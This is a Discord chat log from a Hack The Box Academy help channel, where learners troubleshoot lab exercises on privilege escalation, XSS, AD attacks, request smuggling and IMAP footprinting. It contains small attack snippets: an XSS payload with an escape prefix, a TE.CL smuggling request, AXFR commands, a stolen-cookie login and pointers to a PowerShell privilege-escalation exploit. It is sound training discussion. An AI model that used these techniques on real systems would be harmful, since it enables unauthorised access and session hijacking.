modules

[fierce island]

Getting the same error over and over

[rapid sparrow]

https://www.exploit-db.com/exploits/49211

https://academy.hackthebox.com/module/67/section/910

For those who stuck in Vulnerable Services, I directly download this ps1 code from exploitdb, and modify it, and add htb-student to administrator group, that's it. NO NEED TO USE STUPID REVERSE SHELL

DON"T WASTE YOUR F******** TIME

[autumn pilot]

don't use caps

[rapid sparrow]

sorry, my name already is

[pulsar needle]

lmao

[autumn pilot]

if you haven't added the required line at the end of the reverse shell, of course it wont work

[fierce island]

[autumn pilot]

regarding JP, you need to find a working CLSID

[fierce island]

their script GetCLSID's didn't run on the box and the I've tried the first 10 from the Github list

So very fustrating

[silent scarab]

hello, i am currently on Attacking Enterprise Networks - Lateral Movement. When trying to add the ilfserveradm user to the local admin group, my bat file being executed by sysaxschedscp doesn't seem to be working, and i am confused why. I read the log file and this is the error i got:

C:\Windows\system32>þn
'þn' is not recognized as an internal or external command,
operable program or batch file.

but the command that i typed into the bat file isn't even remotely close to whats being executed... whats going on?

[pine dagger]

Anyone at all done / on the Skill Assessment for Whitebox Pentesting 101? I just cant get the last piece of this to work to achieve command injection, and would love to chat with someone and get a nudge/bounce ideas off. 🙂

[autumn pilot]

note, that not only JP can exploit the privilege

[fierce island]

Yeah thanks, I might try other iterations. I just really wanna get this stage done been here for a few hours and have all tools and connections set up : - D

[compact musk]

bro

@silent scarab

come to dm for a sec 😂

[pulsar needle]

I made a XSS payload, but it wont change the text to test, why?

<p id="msg">text bla bla</p>
<script>document.getElementByID("msg").value="test";</script>

[rare topaz]

which module, and where are you injecting this?

[pulsar needle]

Cross site scripting - Stored XSS

I just want to make it so that I can see my own cookie in the list, its not part of the module but I want to see if its possible xd

[fierce island]

Giving it a rest for now, i know my Shell works and ive tried just about every combination of calling the exploit and CLSID’s

[plain coral]

<p id="msg">text bla bla</p>
<script>document.getElementById("msg").innerHTML = "test";</script>

[plain coral]

value property is used for form elements like input fields, not for changing the text content of HTML elements like paragraphs

[pulsar needle]

Aaaa

True

Thanks

It works now

👍

[fiery berry]

dm you

[heady tusk]

Hey there,
I'm working on Attacking Common Applications section Attacking Applications Connecting to Services.
I have solved the question but ran into an issue which I hope someone can explain to me:
When I run gdb on the binary, I get different addresses than shown in the example. I'm aware gdb has countless options but I'm not sure what I'd need to change. my best guess would be endianness but that doesn't seem to change anything. Here's what I'm getting:

[pulsar needle]

SO every time the url adds a # in front it is a dom based script?

[deep owl]

hello can anyone help regarding this Perform the ExtraSids attack to compromise the parent domain from the Linux attack host. After compromising the parent domain obtain the NTLM hash for the Domain Admin user bross. Submit this hash as your answer.

module: AD enumeration and attacks

section: Attacking Domain Trusts - Child -> Parent Trusts - from Linux

[unborn shard]

If you mean to ask if every time you see a # in the url that webpage is vulnerable to a dom based XSS, the answer is no because it's not granted that the sink function is not sanitized correctly.. and if it is, you can't do any dom based XSS attack on that parameter
If you mean to ask if there can only be a dom based XSS vulnerability if an url has #, the answer is again no, as it could be vulnerable also to other types of XSS attacks with different parameters

[pine dagger]

Oh finally! Wow that whitebox pentesting skill assessment took me way longer than it should have! Tricky thing!

[placid edge]

you need to escape

'><script>document.getElementByID("msg").value="test";</script>

or ">

[pulsar needle]

Aaa, oke, thanks

[pulsar needle]

.

This input worked

Idk if both work xd

[placid edge]

oh no

i didnt read your payload properly

you are using value

as the value you want to get from that id

but innerHTML sets that value and is correct

[pulsar needle]

Yeah, thanks for taking your time to try and help (Even though i got the answer above hehe)

[tepid pagoda]

Hello

Hello, I have two questions regarding Login Brute Forcing - Service Authentication Brute Forcing. The exercise asks to brute force a password and get the flag. Since I just finished the nmap module I thought it would be interesting to scan the target machine. While during this I couldn't find the 22 tcp port opened, it was always filtered or open|filtered. I tried -sS, sA, sT, sF and sN, changed the source port to 53 and 88, decoys, and --data-length 30. My questions are: Am I supposed to find port 22 open? Is this obsession good or am I just wasting time?

[unborn shard]

The ssh service on that host machine is not running on port 22

You are given a target which is composed of IP and PORT.. that is the port you have to attack, not 22

[tepid pagoda]

Ok, thank you.

[south sentinel]

sorry someone knows if we have a spanish comunnity in hackthebox discord?? or someone speak spanish im really noob

i have noob problems with module 23, bypass LFI?? someone can help me please? or say me where i can search in discord channels? im noob

[unborn shard]

I am not aware of any Spanish HTB community, however if you manage to explain your issue in english someway, you could get help here

[acoustic owl]

@hasty solar Can you perhaps help him?

[analog dock]

Couldnt you just translate with chatgpt?

[jolly basalt]

Hey Wiz!
I speak Spanish and can offer my assistance for sure! Although, right now I am far from my PC so will not be able to guide you correctly at this precise moment

[south sentinel]

thanks i can explain in english but i want to know if i am the one from spain in this comunity

[south sentinel]

thanks

[south sentinel]

i go with that

[acoustic owl]

No, I think there are people here from all over the world.
Spanish is spoken in many countries, so there is a good chance to find people who can speak Spanish.

And you are certainly not the only person here from Spain

[sharp delta]

'"

[unborn shard]

Btw I didn't know Wiz Khalifa was Spanish and isn't that confident in his english.. now that's a news for me

[south sentinel]

I'm doing module 23, section 1491, LFI Bypass. When I enter the commands in the URL as described in the exercise, the page's response doesn't display the characters next to the image, like in the image shown in the description on HTB Academy. I've tried it on Ubuntu and also on Windows, using Chrome and Firefox, but I'm not getting the expected response. In the first exercise, I have to change: http://159.65.52.96:32032/index.php?language=languages/es.php to: http://159.65.52.96:32032/index.php?language=languages/etc/passwd. The expected result should give me the characters as a response, but in my browser, they don't appear, and the page remains blank. However, in the previous exercise, I managed to reach the flag, but it also didn't display the other characters. In other words, I receive a response, but not all the complete characters as shown in the example image on Academy. I apologize for the lengthy explanation.

[foggy jackal]

hello everyone. i am attempting the AD Enumeration and attacks skill assessment part ii and i would like some hint on question 10. For the user CT***. anyone?

Crack this user's password hash and submit the cleartext password as your answer.
someone to help me out please

[south sentinel]

just a im a fan of wizkalifa

[south sentinel]

your emoji is a spanish celebrity: "El Risitas"

[rare spire]

Hi,
Could someone help me with the "Working with the Registry" section of the "INTRODUCTION TO WINDOWS COMMAND LINE" module. I'm stuck at the question "A registry entry is made up of two pieces, a 'Key' and ' ' . What is the second piece?"

[unborn shard]

I don't really know how someone could help without giving you the answer.. I can tell you that it starts with the letter 'v' if that helps
If you just read the text you will find the answer

[unborn shard]

I actually knew that he is Spanish, that's why I used it

[rare spire]

Thanks for ypur help
I've read the text many times but I'm confused because the answer isn't "values"

[acoustic owl]

Try to reload the page and make sure that you have no spaces at the beginning or end of the string.

[rare spire]

Ok thanks

[unborn shard]

I am pretty sure that you are not supposed to write that word plural with the final 's'

As neither the word "key" is plural

[ebon peak]

Scusate c’è qualcuno che parla Italiano?

[rare spire]

I have reload the page and it's work, thank's a lot !

[unborn shard]

Wait, was it plural with the final s?

[rare spire]

Yes it was with "s"

[unborn shard]

Oh

Ok

[rare spire]

Yeh I'm also surprise

[wraith mural]

Anyone else have trouble with the TE.CL question in HTTP ATTACKS? I can't even produce a "400 Bad Request" response with these two requests:

POST / HTTP/1.1\r\n
Host: tecl.htb\r\n
Content-Length: 3\r\n
Transfer-Encoding: chunked\r\n
\r\n
5\r\n
HELLO\r\n
0\r\n
\r\n

GET / HTTP/1.1\r\n
Host: tecl.htb\r\n
\r\n

[naive field]

questino about sqlmap section, so in this lab there is --prefix option, when do i know what prefix i need to use?

like below they gave me the source code but what when its black box and i have no idea like whats running behind

[hexed bison]

hello. I have a question about "Security Monitoring & SIEM Fundamentals" assessment, I don't really understand why the last two questions are not the same answers.

[hasty solar]

Of course tell him to dm me

[unborn pilot]

Hello, is there a way to keep the web vnc as full screen ? Each time I go to the next section it goes in a "window" mode ?

[autumn pilot]

just refresh the page of the vnc

[unborn pilot]

no way to keep it that ways without having to refresh each time I presume ? Thx anyway

[unborn shard]

It only does that if the new section you change to also has a docker instance.. if the section you change into is not a section with where the instance is required it will not rescale the window

And I don't think there is anything you can do to prevent it from rescaling

I think it has to do with the way the webpage of the new section you visit requests that instance on the screen, each time you refresh or visit a new section where the docker instance is present, the page has to request the instance to be scaled to the resolution of the box and this affects the other full page too.. as they are virtually the same instance

[unborn pilot]

that's what i taught, it's ok it is just a minor inconvenience thx for the explanation

[foggy jackal]

someone to help out please..

[acoustic owl]

@south sentinel

[fiery berry]

How did you get the foothold? Anyway the hint provided should help a lot

[small garden]

Hello, I am really new to this stuff and I need some help setting up my vm and vpn. Could somebody please help me. Thank you !

[acoustic owl]

Check out this Module

https://academy.hackthebox.com/module/details/87

[acoustic owl]

Try a different HTTP method

[vagrant gust]

need some help with attacking dns

ive already got a list of subdomains

but whenever i try dig any of them i get nothing back

[acoustic owl]

Which module?

[vagrant gust]

attacking common services

[acoustic owl]

okay, what exactly did you try?

[vagrant gust]

i used subbrute and got a list of subdomains

i then did dig axfr @subdomain inlanefreight.htb

[acoustic owl]

Keep in mind that htb is not an official TLD, so you always have to specify a name server.

[vagrant gust]

so do i need the inlanefreight to end in .com?

[acoustic owl]

no, the TLD htb is correct

but you have to specify a name server

dig AXFR domain.tld @targetip
```

[vagrant gust]

ah

i will try that now and let u know

[gentle root]

For Web Skills Assessment - What method do we use to determine how to reset user password? I don't see anything in the module but I could be overlooking something

I should have thought of that

Wait I'm an idiot

you actually helped

with that completely useless answer

I spent like 1.5 hours yesterday and today without reading the username and password was given to me

Thanks

[vagrant gust]

got it now thanks

[tawny abyss]

Anyone around for a sanity check on Windows priv esc: Pillaging. I've restored the files, || dump the sams|| found the hashes but all attempts to submit are failing. NT, NTL, LM not sure but none are working for me. Wanting to confirm steps taken are accurate.
https://academy.hackthebox.com/module/67/section/1637

[hexed bison]

do'nt use samdump, use the other one

[tawny abyss]

I used impacket for it, can someone validate my findings

[acoustic owl]

You probably got the wrong data

[tawny abyss]

Ok, think maybe one overwrote prior restore. Thanks!

[tawny abyss]

Spot on, thanks!

[odd smelt]

Hey ya'll, currently taking Pentest Path, in Footprinting module.

stuck at Find additional information about the specific share we found previously and submit the customized version of that specific share as the answer?

Not sure what to do next.. ran every single cmd in the module.

Any tips?

[acoustic owl]

||rpcclient|| is your friend

[odd smelt]

Thanks @acoustic owl I'll dive a bit deeper.

Will previous modules apply as I navigate thru these boxes? Or will the information mentioned in the module be suffice to solve questions?

[odd smelt]

Also getting NT_STATUS_IO_TIMEOUT or connection disconnected .. is this normal? Sometimes occurs for cmds I've previously ran, am I querying too aggressively or is it part of realistic behavior?

[acoustic owl]

Also getting NT_STATUS_IO_TIMEOUT or connection disconnected .. is this normal? Sometimes occurs for cmds I've previously ran, am I querying too aggressively or is it part of realistic behavior?

Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

You are looking for another plugin here. Check the wpScan Output. Scan with a Token

[foggy jackal]

Tried this on the ms01 as user ab** and also as user br** but I am not getting any hashes

[mild cypress]

n00b question about meterpreter shells, can you not see the output of running something like linpeas.sh inside of them? Do you need to drop into a regular shell first?

[proud pine]

You should be able to see the output just fine.

[mild cypress]

Really? Shit. Should you need to use the execute command for that? This is kind of a retrospective question, but I definitely feel like I messed something up, haha.

[proud pine]

I'd have to see what you were doing to really know what you mean.

[rotund urchin]

ACL section in the AD Attacks and Enumeration module, can someone help me with the correct query? The one I am running never populates anything? "What is the ObjectAceType of the first right that the forend user has over the GPO Management group?"

[mild cypress]

Fair enough, I probably should have taken some screenshots or something. Effectively just used upload to throw linpeas.sh onto the machine I was in and then tried running it, all I was getting was a process started response, or something along those lines 🤷

[proud pine]

If you want to DM me and show me some screenshots, I can work through it with you.

[mild cypress]

Appreciate that, like I mentioned before, this is more of a question in retrospect than something I actively have rolling at the moment - but I'll take you up on that offer and recreate the circumstances later 🙂

Thank you!

[red current]

Anyone else run into this issue in the Windows Priv Esc module where in the Pillaging section you add the d cookie for the slack.com website, refresh the page and nothing happens?

[proven egret]

"Introduction to Academy"

Is this not an introduction? I have just spent 15 minutes searching the the archive here and seen not a single response to anyone asking about the non functional internet on the workstation. I'll go one further, and probably show how dumb I am with this but...

WHAT TARGET WEBSITE? Didn't it open the VM I'm supposed to attack from? I have no concept of what the scope is, there's nothing on my desktop that indicates anything other than a blank parrot instance. I have no target.

Not understanding anything additional I terminated my instance thinking I'd done something wrong, and now it turns out I absolutley have

It took me 20 minutes to shut myself out of the system.

I'm completely at a loss as to what I was supposed to do with the VM

[pine dagger]

I am going to be honest, if you're struggling to follow that simple exercise, then you may be into a hard time. The intro module is the easiest it comes, and the later challenges can get pretty tough. What you have to do is literally explained in the text, and is the basis for doing pretty much ever exercise later on.

To explain what's needed, you click to spawn a target. Then when the IP address appears, you click the IP address to copy, and then paste it into a web browser inside the pwnbox (or your own VM). If its pwnbox, the firefox browser is a shortcut on the top bar.

[unborn shard]

Yeah but I think he's claiming that he didn't knew the IP addr is linked to a web server, so he didn't knew he had to put it in the browser

[pine dagger]

Yeah... except the target link literally says "http://<ip>". If they're unaware that it should go into a browser, there's going to be a very steep learning curve.

[unborn shard]

Which, is... somewhat fair given that in the whole section nobody mentions that procedure.. but I mean, you can pretty easily deduce that the target IP is linked to a website from the question itself: What is the proof text displayed in the Target website you browsed? it says "target website you browser".. it should be obvious what you have to do with that target IP addr.. you have to browse it

[unborn shard]

Oh, is it with the http in front?

Nah it's not

I just checked

It's a normal IP address

[pine dagger]

True, but scroll up

In the text, under Docker Target

[unborn shard]

That text is straight up wrong.. should be modified.. the image also is wrong, as it shows the target with the "http://" in front, which it does not have.. even though also the text says the target is in the form of: http://<ip>:<port>
Which again is wrong

There is no direct indication that says the IP should be put in a browser.. nobody spoon fed him that info, but as I said, I think from the question, it should be logical

[proud pine]

It's not 'wrong' - it's just not hand-holding someone who would have zero experience.

[pine dagger]

Well

Actually

[unborn shard]

It is wrong.. it says and I quote the instance will take the form of http://<ip>:<port> after spawning, i.e. http://157.245.40.149:30655
And it also shows a bs image below where the target is spawn the http:// in front of the ip
So there is no denial it is indeed wrong

But I agree on the spoon feeding part

[pine dagger]

Instructions on the page are:

1. Spawn your target!
2. Spawn My Workstation if you haven't done so.
   3. From your workstation, open Firefox and browse to the target URL.
3. Answer the question below.

Literally does say (- -)

[proud pine]

You're trying to read into it in a way that it doesn't mean. For anyone with even the slightest bit of knowledge, they would understand it.

This just sounds like concern trolling.

[red current]

Is it possible that Slack patched the vulnerability that allowed you to use a stolen cookie to get a list of credentials? It looks to me like the Pillaging section of the Windows Priv Esc module will need to be updated. This exploit doesn't appear to work anymore.

[pine dagger]

I believe its noted in the text

[unborn shard]

It's not about knowledge.. the image is lying.. I don't really know how they got that screenshot to show the http:// in front of the IP address, but it NEVER happened in any module I've taken.. they have either made that image up, with inspect element to prove the point lol OR there was a previous version of HTB Academy where the targets actually looked like that

[proven egret]

No IP address ever appeared for me

[unborn shard]

Btw, if you want some help with starting and all you can DM me

[red current]

Well, I don't see it mentioned and you're supposed to use this exploit to get the next password to complete the other challenges in this section.

[proven egret]

I never received a prompt providing an IP address to review.

[pine dagger]

Nonono! I made the same mistake. Its not Slack you are connecting to. There's a dummy site faking slack.

[proven egret]

The only IP address listed on the page is labeled as an example.

[red current]

What's the address for the dummy site?

[pine dagger]

You click to spawn it

[proud pine]

Wait... did you try to exploit actual slack? That's uhh... a crime.

[proven egret]

Clicked that. Saw no IP

[red current]

I just assumed that HTB had set up a bunch of fake users on their site to extract their creds from.

[pine dagger]

You're onWindows Privilege Escalation -> Pillaging right? Question 3 about Grace?

[red current]

I'm sure I'm not the only person who made this mistake.

[pine dagger]

It's slacktestapp.com

[red current]

Yes, that's where I'm stuck.

[proven egret]

There was a sub interface with links that allowed me to open the VM in another window

[pine dagger]

Its in the question:
Log in as Grace and find the cookies for the slacktestapp.com website. Use the cookie to log in into slacktestapp.com from a browser within the RDP session and submit the flag.

[proven egret]

But I saw no IP addresses anywhere

[red current]

Someone provided me with that URL as well and it doesn't work.

[proven egret]

Open in another window, terminate, or restart

those were my options

Made sure to disable my Ublock

[pine dagger]

Its in the question section under the pwnbox

Try a different browser

[proven egret]

I can't now, I made the dumb mistake of terminating my instance

¯_(ツ)_/¯

[pine dagger]

You dont need the pwnbox to spawn the targets

[proven egret]

And I have an IP from my host sstem.

thank you

[pine dagger]

This thing? That's what you are meant to steal the cookie for. You need to get Grace's cookies for it. 🙂

[red current]

Whenever I navigate to that site, I get an error that it's having trouble finding that site.

[pine dagger]

Well.... that site, is the end goal, not the start

[unborn shard]

Have you added it to your local hosts file?

[pine dagger]

You need to access it inside the RDP as well

[red current]

Okay, I'm rdp'd in and the cookie editor isn't installed on Firefox and you can't install it. The page just spins when you attempt to search for it.

This entire section referring to using the cookie editor needs to be removed from this section. It's not available anymore.

[pine dagger]

You're right. Looks like the VM got updated. But you don't need the cookie editor really. It just makes it nice and easy. Just press F12, goto the storage tab, cookies, sitename and edit the cookie manually.

[red current]

Yep, I'm with you, but it won't let you edit cookies here either. That's not an option.

[pine dagger]

It does

I literally just did it

Just double click on the value field.

The d cookie already exists

You should also try base64 decoding the cookie (not for the exercise, but for the lulz)

[red current]

I really don't get it. I can't edit the value no matter what I try and the d cookie doesn't appear on my end at all.

Anything else I can try?

Nevermind. I don't know what happened but it suddenly let me edit it and paste in the cookie! Thank you!

[red current]

Do you know of any hints for the next one? I've tried following the lesson and I get to the point where I create the Restore folder and when open it, there's just a FileToBackup.txt that appears to just be a sample file. Never mind. It's the administrator password I can't seem to get for this one. The previous one was right on the desktop.

[rustic sage]

Would anyone know how to exploit CVE-2016-9565 nagois

[novel matrix]

why are you asking if anyone knows?

[rustic sage]

Because I’m having trouble on htb’s inject machine and wondering if someone could give me pointers

[heavy marsh]

for "Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer. " on the Footprinting SMTP lesson, where in the lesson does it show me how to get the answer.

Do I use the VRFY command for each user listed in the wordlist one by one?

because that does not seem right

everywhere I've searched it's either been people saying to use nmap, which only gives root, admin, administrator, etc as usernames, or to use metasploit.

The smpt-user-enum standalone script isn't working either

So correct me if I'm wrong, based on my research, it looks like the only way to get the answer is to manually brute force telnet with the usernames in that list, or use metasploit

Even though metasploit has not been covered so far in any of the lessons in this learning path.

So I just confirmed, the only thing in the lesson that shows you how to find it would be manually entering every username into the telnet with the VRFY command to find it. smtp-user-enum script does not work. The nmap script does not work. Metasploit DOES work, but if you avoid Metasploit that doesn't help.

Has anyone found a different way of doing this?

[vapid drum]

Is the skills assessment for the shells & payloads module broken? There's not a web browser in the vm that you can use to browse to the page

[steady hawk]

It's hidden, but you can still access it

[vapid drum]

Which browser is it? because I'm not seeing one. Only one I see is the link to the tor browser and that's broken because it's not downloading it

[steady hawk]

How would you run something if you didn't have access to a GUI?

[vapid drum]

I found firefox installed but it won't launch lol. Wtf. Is getting a browser up part of the skills assessment or something.

Because if so that's pretty silly

[steady hawk]

You can launch firefox by literally typing its name in your terminal

[plain coral]

Does anyone know the differentiation between the run and exploit commands within msfconsole?

[steady hawk]

Same thing

[vapid drum]

Tell me again how you can launch it from the command line

[plain coral]

Hmm, I've actually had success with using run rather than exploit using the same exploit

[steady hawk]

They're aliases, they both execute the exploit

[steady hawk]

Try restarting your instance

[vapid drum]

Ah

Let's see. Hopefully that fixes it

It was driving me nuts lol

[steady hawk]

You could also open chromium from burpsuite xD, i believe it's installed

[vapid drum]

I didn't see it. Maybe I'm just way too tired to really be doing this lol. My ADHD meds wore off hours ago

[misty elk]

Do you get a proof or some type of unofficial 'cert' for completing the Job role paths? (Pentest or bug bounty)

[heavy marsh]

For imap/pop3 footprinting on the question"What is the customized version of the POP3 server?" Dovecot pop3d is not working.

That's all nmap gives and there is no information when using openssl

Is this another case of stuff not being in the lesson and I have to search for it or am I missing something?

[misty elk]

Your close... Missing the full version

[heavy marsh]

Yeah, there's no full version showing in nmap

or the openssl command

or the commands you can run from the openssl prompt

even with -vvv nothing

[gusty zinc]

Module - Sql Injection
Section - Union Clause

Question -
Connect to the above MySQL server with the 'mysql' tool, and find the number of records returned when doing a 'Union' of all records in the 'employees' table and all records in the 'departments' table.

why is this not giving me the right answer :
select * from employees UNION SELECT null,null,null,null,null,null from departments;

[misty elk]

Check a few more tools PNW.

[heavy marsh]

Found it, I had to put all of the leading info, not just "vX.XXX"

[fathom pendant]

Check what happens when you connect you're definitely overlooking it

[heavy marsh]

haha

[fathom pendant]

Lol just as I was nudging

[heavy marsh]

I did the version, then with POP3, then I gave up and started going down the rabbit hole.

Thanks guys

Where do I even start for the admin email address?

[fathom pendant]

I linked a site to useful imap commands a while back

[heavy marsh]

I'm using the ones on the lesson mainly

[fathom pendant]

Yeah but you're not gonna get all the info

[heavy marsh]

How do I even know I should use imaps and not pop3

?

Neither imaps or pop3 are showing any messages

[fathom pendant]

Like I said the commands they give you aren't going to give you everything

[heavy marsh]

So is the fact that there are 0 emails normal?

[fathom pendant]

#modules message

[fathom pendant]

No

You're not in the right email folder if that's the case

[heavy marsh]

I see

I didn't realize there were multiple folders

[fathom pendant]

That's why the list command exists

[heavy marsh]

Thanks for all of the help. I wish the lessons linked to more resources.

Are there walkthroughs of the lessons for those of us that don't want to bother the helpful folks at discord every time documentation is lacking?

[fathom pendant]

I've complained in #858470491676737536 about it

[misty elk]

I would complain but 96.5% of the time I'm being an idiot and/or missing something obvious.

[heavy marsh]

I feel that, it's happened to me more than I care to admit

Still, when you spend 3 hours troubleshooting with the documentation given only to find out you needed to go to hacktricks or pentestmonkey it kind of makes you doubt the platform more.

[thorn urchin]

tbf like 96.5% of the complaints I see in erratum that arent like grammar/spelling corrections do tend to be people just being dumb and not doing the lesson properly.

But the very few times it isnt is basically, "Oh yeah everyone whose been on academy for awhile knows this. its been broken for 7 months"

[heavy marsh]

What about missing information and lack of walkthroughs

[thorn urchin]

Usually the person being dumb about the lesson. A couple of notable exceptions however.

Being dumb might be too harsh, lacking required prerequisites is more typical

[heavy marsh]

For example IMAP/POP3 footprinting: I'm trying to figure out how the lesson and information given would lead me to an admin email address

and access to emails/flag

[thorn urchin]

The rule of thumb here is that you have to be comfortable searching documentation of a web application service youve never seen in order to discover how it can be leveraged properly.

Anything within that realm or approximate equivalent can be pretty fair game to me.

[heavy marsh]

I understand, but I don't see where that is outlined in the curriculum

[thorn urchin]

It isnt. thats the point.

[heavy marsh]

If I were to take a course in "The Afterlife" I would expect the teacher to have me read "Dante's Inferno" if it was part of his curriculum

[thorn urchin]

This isnt english literature, this is hacking

You have to have that spark of curiosity in you

[heavy marsh]

Or at least hint that the material was included

[thorn urchin]

no course can teach that, it can only encourage such behavior

[thorn urchin]

I mean the module did. It provided some information about the service, with some hints about how to interact with it and then instructed you to figure out how to interact with it more on your own. and submitted flags as proof of this accomplishment

[devout torrent]

No madf0x, bring me my silver plate now!

[thorn urchin]

I totally understand the frustration of tackling a technology youre unfamiliar with and trying to get it to do what you want it to do. But the stubbornness and curiosity to make it happen and the enjoyment of it finally working is the very heart and soul of hacking.

If that sensation and frustration bothers you or doesnt feel worth it, then perhaps there are other aspects of security or something youd be more suited for.

[heavy marsh]

No, I'm determined, just expected a more comprehensive and detailed curriculum for the price I pay. That being said I appreciate the help I've received here so far.

Came here with a decent background and having completed THM Offensive Pentesting, just looking for the next step.

[fathom pendant]

I mean the short answer is using an email client

[heavy marsh]

So anyway for IMAP/POP3 "What is the admin email address? " question, if I've tried all commands, what's next?

one reference is asking me to "tag <command>" where HTB is asking me to "1 <command>"

[fathom pendant]

Do you mean all commands from the module?

Or what I linked

[heavy marsh]

and the links provided

besides logout

[thorn urchin]

Im just saying sometimes the entire intent and lesson behind a section is to have you go off and explore new stuff on your own. Handing that to you directly inside the section would defeat the point.

[fathom pendant]

Well if you read the email you'll get all the relevant info

[heavy marsh]

I haven't read the email yet.

I can't even access an email

[modern falcon]

Just curious, how many active boxes do i have to pawned to get to hacker rank?

[fathom pendant]

Then start with getting to the right email folder lol

[fathom pendant]

Not relevant

[fathom pendant]

Read #rules and #welcome

[fathom pendant]

Start with the command to list all folders

[heavy marsh]

yeah, did that, got 4 results

[fathom pendant]

Alright then start there

Like you're complaining about a trivial issue

[heavy marsh]

no matter what inbox I go to there are no emails or anything

[fathom pendant]

Then you're doing something wrong

[rare topaz]

Lmao

[heavy marsh]

so what would you reccomend?

[fathom pendant]

Note there are no emails on the pop3 service

[proud pine]

[fathom pendant]

There's a reason I'm saying imap

[heavy marsh]

yeah, I'm working only in imap

pop3 made that clear pretty quick

otherwise I would have been way further down the rabbit hole

so I tried to fetch headers

fetch messages

[fathom pendant]

Double check that all branches you're looking at are empty

[heavy marsh]

pretty much went through every command in the two links and the HTB lesson

[heavy marsh]

?

[fathom pendant]

You can't fetch a header for an email that doesn't exist

Are you actually selecting the folder

Like I said there has to be something you're doing wrong lol

[thorn urchin]

show terminal output of your attempt to list emails from each of the folders you found.

[heavy marsh]

alright starting from scratch

[thorn urchin]

Cause I think were in devil in the details territory

and if were not. details will at least reveal where the misconception is

[heavy marsh]

LOGIN ***** *****

with username password, not showing them for spoilers

then
1 LIST "" *

[thorn urchin]

use triple backticks at the beginning and end to wrap your terminal output

so it looks like this

[heavy marsh]

test```

nope

didn't work

test

there we go

my bad

okay so

1 LIST "" *

then

1 SELECT DEV.DEPARTMENT.INT

I've tried all of the tag STATUS INBOX (MESSAGES)

and those types of commands with no luck

[fathom pendant]

You realize the status inbox is only showing status of the inbox folder, not the folder you're in

[thorn urchin]

I also wanted to see direct terminal output of exactly what you typed in AND the response you got back.

Ctrl-C Ctrl-V

[heavy marsh]

I have no idea what's going on past the module to be honest. I kind of grasp the extra resources you've given me, but other than that I am lost

[fathom pendant]

They aren't verified so the bot may yeet it

[proud pine]

You guys have been trying for 90+ minutes now. I don't think it's going to work out lol

[thorn urchin]

then they should verify their account

[thorn urchin]

hey now Ive only tried for like 10 minutes and 8 of that was ranting about hacking ethos

[fathom pendant]

Its fairly obvious you're lost. Because you're blind copy/paste without understanding what you're trying to achieve

And without knowing what the command you're utilizing is doing

[heavy marsh]

I can't copy the screenshot in

[thorn urchin]

dont need a screenshot

[proud pine]

It's like watching sisyphus.

[thorn urchin]

just copy paste your terminal and wrap it in backticks

[fathom pendant]

Your pfp is wildly fitting and it's slightly sending me

[heavy marsh]

hit 2000 character limit

[fathom pendant]

Do it one command at a time

[thorn urchin]

cut it down to the relevant parts where you try to list emails

[fathom pendant]

[thorn urchin]

yeah bot yeet

verify your account

[heavy marsh]

Verify?

[thorn urchin]

#welcome

so you dont have the boring white name

[heavy marsh]

I am signed up already

[thorn urchin]

yeah but youre not verified here on the discord

so you have restricted permissions n stuff

[heavy marsh]

Did that not come with the year long membership?

[thorn urchin]

Bro you have to verify your account

read #welcome

[heavy marsh]

Okay

[thorn urchin]

Discord doesnt magically know who you are

[heavy marsh]

I'm used to forums

this is the second time I've used Discord

or at least the second community

[thorn urchin]

No worries, basically theres no way for HTB to auto link your discord and your HTB accounts

[fathom pendant]

^

[thorn urchin]

so you gotta follow some instructions from the bot to do so

It helps mitigate spammers n such

[heavy marsh]

word

I need to take a break

[rare topaz]

At this point bro should just contact support

Clearly there is a severe misunderstanding somewhere

[thorn urchin]

Hed have to verify his account for that

[rare topaz]

[fathom pendant]

^

[proud pine]

Layer 8 OSI issue.

[fathom pendant]

It's how they offer the discord tutoring

[fathom pendant]

Nah layer 10

[thorn urchin]

Im trying to be nicer to a fellow PNW peep

[rare topaz]

Double it and give it to the next person

[rare topaz]

What's PNW

[thorn urchin]

Pacific Northwest

[rare topaz]

Ah

[thorn urchin]

Washington/Idaho/Oregon

[heavy marsh]

I might hit up support, we'll see

[thorn urchin]

though we only grudgingly accept Idaho

[rare topaz]

Yeah no worries, tho ur still not verified XD

[thorn urchin]

inb4 he says hes from idaho

[rare topaz]

Bro from Ohio

[thorn urchin]

if an ohio person is using the PNW tag we about to throw hands

[heavy marsh]

I don't consider Idaho in the PNW

They're like a border to Montana for Washington

Idaho is Idaho

[heavy marsh]

For real!

[thorn urchin]

yeah but 'officially' theyre PNW too

[heavy marsh]

True, but they don't throw hands, they throw potatoes.

[misty elk]

Enterprise Academy doesn't sync with regular academy hmmm 😟

[heavy marsh]

I verified my account

[fiery berry]

dm you

[sonic forge]

test

[heavy marsh]

Test SAT

[sonic forge]

noice just made hacker

[heavy marsh]

Congrats!

[sonic forge]

thank you kindly

[heavy marsh]

Know anything about IMAP footprinting?

[wild folio]

Are you on the footprinting lab - hard?

[heavy marsh]

no, IMAP/POP3

question is "What is the admin email address?"

[wild folio]

how far did you get

[heavy marsh]

I'm authenticated and have found the directories with * LIST

other than that, none of the directories have any emails

I was trying to use the command :1 FETCH <ID> all Retrieves data associated with a message in the mailbox.

but there's no <ID>

Someone gave me a link to some other resources and none of those commands work either.

https://www.atmail.com/blog/imap-commands/

https://www.funoracleapps.com/2022/01/how-to-access-imap-server-from-command.html

[wild folio]

once you authenticate to the imap server, you use the credentials provided to actually interact with the IMAP services. From there give this a read.

https://donsutherland.org/crib/imap

[analog dock]

These commands do work

[heavy marsh]

Why is it prepending everything with A1 instead of 1 like the lesson shows

Does it matter or does it have to be homogenous among each session?

[wild folio]

I'm interested in that answer as well. I just know it works for me.

I pulled those last two questions just now.

[heavy marsh]

Cool, thanks, will work more

This is what I got

[wild folio]

'''tag FETCH 1 RFC822'''

[heavy marsh]

Why that command?

[wild folio]

if I can find a link to it I'll post. Should have found that first...

[heavy marsh]

no worries

[wild folio]

Though I would save it. I've used it a few times already.

[heavy marsh]

Weird, that works for the question in the last section of the module, but the one before that I still can't get

[wild folio]

"TAG" is an identifier for the command sent from the client to the server. It can be any string but it should be unique for every command within a single connection. The server will use the same tag in its response to indicate which command it's responding to.

"FETCH" is the command itself. It tells the server to retrieve specific parts of specific messages.

"1" is the message sequence number of the email message that you want to retrieve. So in this case, it's the first message in the mailbox.

"RFC822" is a message data item identifier. When used in a FETCH command, it tells the server to return the full, raw source of the email message, including the header, body, and any attachments, in the format specified by RFC 822 (a standard for the format of ARPA Internet text messages).

you don't get a "from: CTO" in your output?

